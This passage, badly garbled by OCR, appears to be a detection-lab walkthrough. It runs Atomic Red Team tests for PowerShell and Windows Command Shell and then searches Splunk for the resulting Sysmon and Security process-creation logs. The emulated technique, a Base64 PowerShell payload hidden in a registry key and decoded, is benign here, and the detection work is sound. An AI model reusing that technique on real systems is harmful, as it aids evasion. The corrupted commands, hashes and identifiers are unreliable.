CommandLine="\"C:\\Windows\\system32\\reg.exe\" add
HKEY_CURRENT_USER\\Software\\Classes\\AtomicRedTeam /v ART /t REG_SZ /d
U2VOLUNvbnR1bnQgLXBhdGggIiR1lbnY6U31zdGVtUmOvdCOUZWIwL2FydC1tYXJIrZXIudHhOIiAtdmFsdwWUgIkh'lb
=n
GxvIGZyb20gdGh1lIEFOb21pYyBSZWQgVGVhbSI=
i Time Event
> 4i24/22 04/24/2022 03:55:21 AM
8:56:21.000 AM LogName=Microsoft-Windows-Sysmen/Operational
EventCode:

EventType=d
Computerane=win1@.windomain. local
NOT_TRANSLATED

§

rocess Create (rule: ProcessCreate)

OpCode=Info
Message=Process Create
RuleNane: technique_1d=T1112, technique_nane=Hodify Registry

UtcTine: 2022-04-24 09 .
ProcessGuid: {2913fec3-1e89-6265-Fe0-000000000700)
Processld: 4824

Windows\System32\reg. exe

on: 10.0.18362.1 (WinBuild. 168101.0800)
on: Registry Console Tool

Microsofte Windowss Operating System
Company: Microsoft Corporation

OriginalfileNane: reg.exe

Comandlfne: C:\Windows\system32\reg. exe" add HKEY_CURRENT_USER\Sof twar e\Classes\AtomicRedTean /v ART /t REG_SZ /d U2VOLUNVDIRLbAQZL XBhaGEETRIbNYEU3 L2dGy e SvACSUZNIWL 2F yCl tYKIF IXIUdHRR L U] 2y TEFab21pYy
CurrentDirectory: C:\Users\vagrant\AppDatatLocal\Temp\
User: WIN10\agrant
Logonbuid: {2913fec3-clb5-6262-eaBc-660000000000)
Logonld: 9xG88CEA
TerninalSessionTd: 1

ritylevel: High

77A4479A2CF 23037093247 21F4D1 SDCOEFQ41CB, MDS=05CF 3CE225805B669E 31 15092F 4CEAB, SHA256-B21 1C25EFOB] 0AB2B4TESDEDA 121 55AADISCFF 1 4CEEDATCAACEIS = 27FE21 2CFEF 2CDAGEG F 1940

uid: {2913fecd-1eB9-6265-1cOf-000000000700)
ParentProcessd: 1224

ParentInaze: C:\Windows\System32\ Shell\v] D\powershell.exe

ParentConmandLine: "powershell exe” & {# Encoded payload in next comnand is the following \*"Set-Content -path \"*Senv:SystesRoot/Temp/art-marker txt\"* -value \"*Hello from the Atomic Red Team\""\™"

reg.exe add \""HKEY_CURRENT_USER\Sof tware\Classes\AtomicRedTean"" /v ART /t R /4 \""U2VoLUNVbAR 1onQgLXEnaGe2 i RLbNY6U 31206V tUnSVdCOUZN | Wl.2FydC | tYATTZX TucHNOT LA P

coding]: :ASCIT . GetString([Convert]: :FronBase64String( (gp 'HKCU:\Software\Classes\AtanicRedTean’ ) ART)))}

WINI\vagrant

CemmandLine = “C\Windows\system32ireq exe’ add HKEY_CURRENT_USER\Software\Classes\.. | Comgany = Microsoft Comporation | ComputerName = winiGwindomainccal | CurrentDirectory = C:Usersivagrant\AppDataiLocalTemph
4 | FileVersion - 10.0183621 (WinBuld1601010800) | Hashes - SHAT-077A4479A2CF23D3709324F 21FADI9DCOEFO4ICB MDS-05CFACE25.. | Image = CAWindows\System32iregexe | IntegrityLevel = High | Keywords = None | LogNarme

56262028 660000000000] | Logonid = OX6E8CEA | Messag TiMiZ lechnique_name=Modify Registr.. | OpCode = Infa | OriginalFileName = reg.exe
321 3-1889-6265-1c0+-000000000700) | ParentProcessid = 1224

y Console Tool | EventCode = 1

peratinal

Microsaft-Windaws-Sysmor

(2913fac3

LogonGui Process Create: RuleName: technique_i

ParentCammandiLine = “powershell exe” & (# Encoded payload in next command is the fallowing '™ Se entimag
ParentlUser = WIN1Owagrant sGuld = {: 3 52 Processid = 4824 | Product = Microsoft* Windows® Operating System | RecordNumber = 62375 | RuleName “2technique_name=Modity Registry | Si 518 | SidType= 0

Microsoft- Windows T tegory = Process Create (rule: ProcessCreate) | TerminalSessionid =1 | Type = Information | U: IOT_TRANSLATED User = WiNQWagrant | UteTime = 2022-04-24 09:56:21.916 | host = winiQwindamain.| index = sysman
linecount = 40 source = Wink: S sourcetype = 3 Operational | splunk_server = logger

Step 6: Clean Up

e Some tests may change items within your environment.
e Run command the following command to clean up any changes made to the system while

performing tests.



Invoke-AtomicTest T1059.001 -Cleanup

T1059.003 - Windows Command Shell

Step 1: Open Client Machine

e Open the Windows 10 machine connected to the Detection Lab configuration.
e Open PowerShell.

Step 2: Confirm that Invoke-AtomicTest is Installed

e Confirm that the Invoke-AtomicTest cmdlet is installed correctly. This command will install this
module.

Install-Module -Name -invoke-atomicredteam,powershell-yaml -Scope CurrentUser

e Type A to confirm installing the Module.
¢ If the module is already installed, you will not be prompted to accept.

Further Reading about the installation process:

e https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Atomic-Red-Team

EN Windows PowerShell - O *

CurrentUser

ry. If you tr thi itory, change its

chdlet. Are y = vant to install the modules from

[A] Yes to A1l [N] Ho [L] No to All [S] Suspend [?] Help (default is "N"): A
Step 3: Check the Prerequisites for T1059.003
e We need to confirm that all the prerequisites for the tests are available and installed correctly.

Invoke-AtomicTest T1059.003 -CheckPrereqs

EN Administrator: Windows PowerShell - O *

ipt.bat)

e

[*¥] File to print must exist on disk at specified location {%env:temp\T1859_»08@

's with the -GetPrereqs switch



https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Atomic-Red-Team




Step 4: Get the Prerequisites for T1059.003
¢ |nstall the resources required to complete the relevant tests.

Invoke-AtomicTest T1059.003 -GetPrereqs

EN Adrinistrator: Windows PowerShell — O *

Default-ExecutionLogger

found

Step 5: Begin Testing

| will choose a select few tests to demonstrate the commands used to generate the logs. All the tests
can be executed at once, however | prefer to do it test-by-test.

Some tests are designed for Linux or Mac. Ensure that you are attempting to demonstrate the
Windows Tests.

Test #2: Writes text to a file and displays it
Show Test Details

o Firstly, use the -ShowDetails switch to print the details of the specific test to the screen.

Invoke-AtomicTest 1059.003 -TestNumbers 2 -ShowDetails




= a—u e e ey

EX Administrator: Windows PowerShell - O *

Using Logger: Default
cgging commands

st is intended to emulate the ng of a malicious file to

Execute Test

¢ Next, we will run the test.

Invoke-AtomicTest 1059.003 -TestNumbers 2

EN Administrator: Windows PowerShell - O x I

Logs

Next, open up the Splunk - Search & Reporting instance and begin searching for the log data
surrounding the inputted commands.

e Windows Event Process Creation Event (4688): index="wineventlog" EventCode=4688
Process_Command_Line="\"cmd.exe\" /c \"echo \"Hello from the Windows Command Prompt!\" >

\"%TEMP%\\test.bin\" & type \"%TEMP%\\test.bin\"\""



Time Event

42322 04/23/2022 07:27:16 FM
7:2746.000 PM  Loghame=Security

SourceNane=Microsoft Windows security suditing.
Type=Infornation
Recor@iunber=6§541
Keywords=Audit Succ
TaskCategary=Process Creation
OpCode=Info

Messag

Creator Subject

Security Ip: 5-1-5-21-3126734119-665217995-3442430372-1000
Account Name vagrant

Account Damain WIN1D

Logon ID: 0x66BCEA

Target Subject:
security I
Account Name -
Account Domain
Logon ID: 00

Process Information

New Process ID oxlbes
New Process Name €:\Windows\Systen32\end. exe
Token Elevation Type: %1336

Mandatory Label: 5-1-16-12288
Creator Process ID:

Creator Process Name: ndows\\Sy
Process Comand Line: “cnd.exe” /c

tem32\WindowsPowerShelltv].D\ponershell . exe
echo "Hello from the Windows Command Promot!

PR\ test.bin

MPY\test.DIn" & type "%

ates the type of token that igned to the new process in accordance with User Account Contrel policy

Token Elevation Type

Type | is a full token with no privileges resoved or groups dissbled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account

to start the program using Run as adninistrator. An elevated token is also used when an apolication is configure

An elevated token is used when User Account Contral is enabled and the user chod

Type 2 is an elevated token with no privileges removed or groups disabled
ators group.

d to always require administrative privilege or to always require maximun privilege, and the user is a member of the Admin

s not choose to start the progra

administrative privilege, and the user do

renoved and adninistrative groups disabled. The limited token is used when User Account Control is ensbled, the application does not requ

Type 3 is a limited token with sdministrative privilege

m using Run as adninistrator

y | Logon_ID = OxGEBCEA Logon_ID = 0xD.

Account_Domain = WINIO Account_Domain = - | Account_Name = vagrant Account_Name = - | ComputerName = wintO.windomain.local | Error_Cod EveniCode = 4688 | EventType= 0 | Keywords = Audit Success | LogName = Se;
Message = A new process has been created. Creator Subject: Security ID: S-1.6-21-3126794... | OpCode = Info | RecordNumber = 68841 | Security_ID = $-1.5.21-3126794118-865277996-3442430372-1000 Security_ID = $4.0-0 | SourceName = Microsoft Windoves security auditing.
TaskCategory = Process Creation | Type= Information | action= success | app= winiunknown | bady = A new process has been created. Creator Subject: Security ID: $15-213126794... | category= Process Creation | dest = winfdwindomain.local | dest_ni_host= wimiQwindomain focal

63841 | event_type
g_securily 03 windews eventtype = wineventiog_windews o5 4
126794119-865277996-3442430372-1000 54-0-0 | name = A new process has been created | objeet = WinEventlag | process Windows
new process has been created | signature_id = 4688 | source = WinEventlog Security WinEventlog | splunk_server = logger

user_logon_id = 0x668CEA user_logon_id = OxO | user_name = vagrant

du nowindemainlocal | dve_nt_host= winiwindomainlocal | event_description = Process Creation | event_i

eventlyp:

local | host_name = winf local | id = 68841

dows eventype = winsec security | host = wintDwindomain local | host_fadn = win10 wind

windows_process_newt execute process start eventlype = winevent

wineventiog | linecount = 41 | member_dn = vagrant - | member_id
0x0 | severity

inde

formational | severity_id =0 | signature
) tag = process tag = security tag = start tag = windows | user=- | user_domain = WINIO

punct s S
status = success | subjes

user_sid = §-16-213126784119-865277596-3442430372-1000 | wendor = Microsoft

A new process has been created | 1a_windows_action = fallure | 1ag = execute tag

e Sysmon Process Creation Event(1)3'ndex="sysmon" ComputerName="winl@.windomain.local"

CommandLine="\"cmd.exe\" /c \"echo \"Hello from the Windows Command Prompt!\" >
\"%%BTEMP%%\ \test.bin\" & type \"%%TEMP%%\\test.bin\"\""

i Time Event

b 423122 04/23/2022 07:27:16 PM
72716000 PM  LogName=Hicrosof t-Windons-Sysnon/Operat ional

EventTyp
Computeriame=win18.windorain. local
User=NOT_TRANSLATED

S1¢=5-1-5-18

SidType=
SourceName=M1crosort-Windows-Sysmon

Type=Information
RecordNumber=51338

Keywords=None

TaskCategory=Process Create (rule: ProcessCreate)

OpCode=Info

Message=Process Create:

‘ommand-Line Interface

RuleName: technique_i
UtcTime: 2022-04-23 19:27:16.077

Processcuid: {2913fec3-5314-6264-1a00-000000000700)
ProcessId: 7144

Image: C:\Windows\System32\cnd.exe

FileVersion: 10.0.18362.1 (WinBuild. 160101 080)
Description: Windows Command Processor

Product: Microsofte Windowse Operating System

1858, technique_nane

Company: Microsoft Corporation
OriginalFileName: Cmd.Exe

CommandLine: "cmd.exe” /c "echo "Hello from the Windows Command Prompt!" > “XXTEMPXX\test.bin” & type "XXTEMPXX\test.bin""
CurrentDirectory: C:\Users\vagrant\AppData\Local\Temp\

User: WINI@\vagrant

LogonGuid: {2913fec3-c1b5-6262-eadc-6600000000007
LogonTd: Ox6EBCEA

TerminalSessionld: 1

Integritylevel: High

Hashes: SHAI=A1DBD4949DF SEAG2E52201806A:
ParentProcessGuid: {2913fec3-c234-6262-7307-000000000700)

ParentProcessId: 860

ParentInage: C:\Windows\System32\WindowsPomerShell\vl. @\powershell exe
ParentCommandLine: =C:\Windows\System32\WindowsPowerShelliv1 0\powershell exe”

72245E 29858 1E4305008852C4FBSE 18

100E954ABA3CES0C0F 24328281872 1FEA2DICA9AS, IMPHASH

ParentUser: WINIO\vagrant

from the Windows Command Prompt!” > "¥%TEMP%%... | Company = Microsoft C i C - local | CurrentDirectory = C\UsersivagrantAppDatalLocalTemp\
EventCode = 1 EventType = 4 | FileVersion = 10.0183621 (WinBuild160101.0800) Hashes = SHAT=A1DBD4949DF9E892E52201B06A2D24AA5082B3D5 MDS-9D5944231

CommandLine = "cmd.exe’ /c "echo "He
Description = Windows Command Processor

Image = C: cmd.exe | IntegrityLevel = High | Keywords = None | LogName = Microsoft-Windows-Sysmon/Operational | LogonGuid = {2913fec3-1b5-6262-ea8c-660000000000) | Logonid = 0x668CEA
Message = Process Create: RuleName: technique_id=T1059,technique_name-Command-Li.. | OpCode = Info | OriginalFileName = Cmd.Exe | ParentCommandLine = "C:\Windows) O\powershell exe”

Parentimage = C: \ nellvt exe | ParentProcessGuid = [2013fec3-¢234-6262-7307-000000000700] | ParentProcessid = 860 | ParentUser = WINTO\agrant

ProcessGuid = (2913fec3-534-6264-1a00-000000000700} | Processid = 7144 | Product = Microsoft? Windows? Operating System | RecordNumber = 51338 | RuleName = technique_id=T1059technique_name-Command-Line Interface | Sid = S-1-5-18
SidType =0 | SourceName = Microsoft Windows-Sysmon | TaskCategory = Process Create (rule: ProcessCreate) | Termir =11 Type= User = NOT_TRANSLATED User = WINIOwagrant | UtcTime = 2022-04-23 19:27146.077
host = winlOwindomain.local | index= sysmon | linecount= 38 | punct=/ i - | source = WinEventL 2 sourcetype = g:Microsoft Wind ysmon/Operational | splunk_server = logger

Step 6: Clean Up

e Some tests may change items within your environment.
e Run command the following command to clean up any changes made to the system while

performing tests.

Invoke-AtomicTest T1059.003 -Cleanup
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